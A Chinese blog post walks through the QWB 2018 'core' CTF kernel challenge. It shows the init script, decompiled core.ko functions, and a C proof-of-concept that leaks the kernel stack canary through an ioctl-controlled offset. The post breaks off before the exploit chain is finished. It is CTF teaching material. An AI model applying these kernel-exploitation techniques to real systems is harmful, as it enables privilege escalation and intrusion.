ctf中linux 内核态的漏洞挖掘与利用系列

qwb2018 core

题目链接:https://pan.baidu.com/s/10te2a1LTZCiNi19_MzGmJg 密码:ldiy

解压官方给的tar包,可以看到如下4个文件:

其中start.sh是qemu的启动脚本,这里将-m参数修改为512M,否则本地无法正常启动,同时为了便于调试,需要解包core.cpio并修改其中的init文件,将poweroff的指令删除,让内核不在定时关闭。init文件内容如下:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

基本可以确认存在漏洞的模块为core.ko,而开启的kptr_restrictdmesg_restrict则缓解了内核信息的泄露,卸载了/proc/sys这两个目录,进一步阻止用户查看内核信息。查看start.sh可知内核开启了kaslr。注意到cat /proc/kallsyms > /tmp/kallsyms这条命令,相当于可以从/tmp/kallsyms读取部分内核符号信息,这样便于后面编写提权的shellcode。

解包core.cpio后,查看core.ko开启的防护如下:

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

开启了NX以及stack canary,利用ghidra打开core.ko,查看它的函数如下:

初始化函数如下:

undefined8 init_module(void)
{
  core_proc = proc_create(&DAT_001002fd,0x1b6,0,core_fops);
  printk(&DAT_00100302);
  return 0;
}

其中core_fops是内核的file_operations结构,跟进去查看发现其实现了自定义的writeioctlrelease函数,其中ioctl函数内部调用了core_readcore_copy_func等功能,如下:

undefined8 core_ioctl(undefined8 param_1,int param_2,ulong param_3)
{
  if (param_2 == 0x6677889b) {
    core_read(param_3);
  }
  else {
    if (param_2 == 0x6677889c) {
      printk(&DAT_001002f1,param_3);
      off = param_3;
    }
    else {
      if (param_2 == 0x6677889a) {
        printk(&DAT_001002d7);
        core_copy_func(param_3);
      }
    }
  }
  return 0;
}

这里由于之前开启的内核策略导致printfk输出的内容无法通过dmesg获取,查看core_read函数如下:

void core_read(undefined8 param_1)

{
  long lVar1;
  undefined4 *puVar2;
  long in_GS_OFFSET;
  byte bVar3;
  undefined4 auStack80 [16];
  long local_10;

  bVar3 = 0;
  local_10 = *(long *)(in_GS_OFFSET + 0x28);
  printk(&DAT_0010027f);
  printk(&DAT_00100299,off,param_1);
  lVar1 = 0x10;
  puVar2 = auStack80;
  while (lVar1 != 0) {
    lVar1 = lVar1 + -1;
    *puVar2 = 0;
    puVar2 = puVar2 + (ulong)bVar3 * -2 + 1;
  }
  strcpy((char *)auStack80,"Welcome to the QWB CTF challenge.\n");
  lVar1 = _copy_to_user(param_1,(long)auStack80 + off,0x40);//全局变量off可控
  if (lVar1 != 0) {
    swapgs();
    return;
  }
  if (local_10 != *(long *)(in_GS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

由于可以通过ioctl控制off这个全局变量,因此可以控制返回给用户的内容为内核栈上特定偏移的数据,这里可以用来泄露栈cookie值,通过如下代码可以打印泄露的cookie以及函数返回地址:

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc,char* argv[])
{
    int fd1 = open("/proc/core",O_RDWR);
    unsigned long long buf[0x1000];
    memset(buf,'a',0x200);
    int off=0;
    if(argc>1)
    {
        off=strtol(argv[1],NULL,10);
    }
    printf("fd is %d\n",fd1);
    ioctl(fd1,0x6677889C,off);
    ioctl(fd1,0x6677889B,buf);
    for(int i =0;i<4;i++)
    {
        for(int m=0;m<4;m++)
        {
            printf("%016llx ",buf[i*4+m]);
        }
        printf("\n");
    }
    return 0;

}

结果如下:

/ $ ./poc 64
fd is 3
5d2043a60145af00 00007ffe2b41ecf0 ffffffffc03cc19b ffff96afda3efe40 
ffffffffa19dd6d1 000000000000889b ffff96afdf80fb00 ffffffffa198ecfa 
6161616161616161 6161616161616161 6161616161616161 6161616161616161

此时的5d2043a60145af00即为当前内核栈上的cookie值,可用来后续的内核rop。查看core_write函数:

undefined  [16] core_write(undefined8 param_1,undefined8 param_2,ulong param_3)
{
  ulong uVar1;
  long lVar2;

  printk(&DAT_00100239);
  if (param_3 < 0x801) {
    lVar2 = _copy_from_user(name,param_2,param_3);
    if (lVar2 == 0) {
      uVar1 = param_3 & 0xffffffff;
      goto LAB_00100084;
    }
  }
  printk(&DAT_00100254);
  uVar1 = 0xfffffff2;
LAB_00100084:
  return CONCAT88(param_2,uVar1);
}

这里可以控制name全局变量的内容。查看core_copy_func函数,如下:

undefined8 core_copy_func(ulong param_1)
{
  undefined8 uVar1;
  ulong uVar2;
  undefined1 *puVar3;
  undefined *puVar4;
  long in_GS_OFFSET;
  byte bVar5;
  undefined auStack80 [64];
  long local_10;

  bVar5 = 0;
  local_10 = *(long *)(in_GS_OFFSET + 0x28);
  printk(&DAT_00100239);
  if ((long)param_1 < 0x40) {
    uVar2 = param_1 & 0xffff;
    uVar1 = 0;
    puVar3 = name;
    puVar4 = auStack80;
    while (uVar2 != 0) {
      uVar2 = uVar2 - 1;
      *puVar4 = *puVar3;
      puVar3 = puVar3 + (ulong)bVar5 * -2 + 1;
      puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
    }
  }
  else {
    printk(&DAT_001002c5);
    uVar1 = 0xffffffff;
  }
  if (local_10 == *(long *)(in_GS_
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值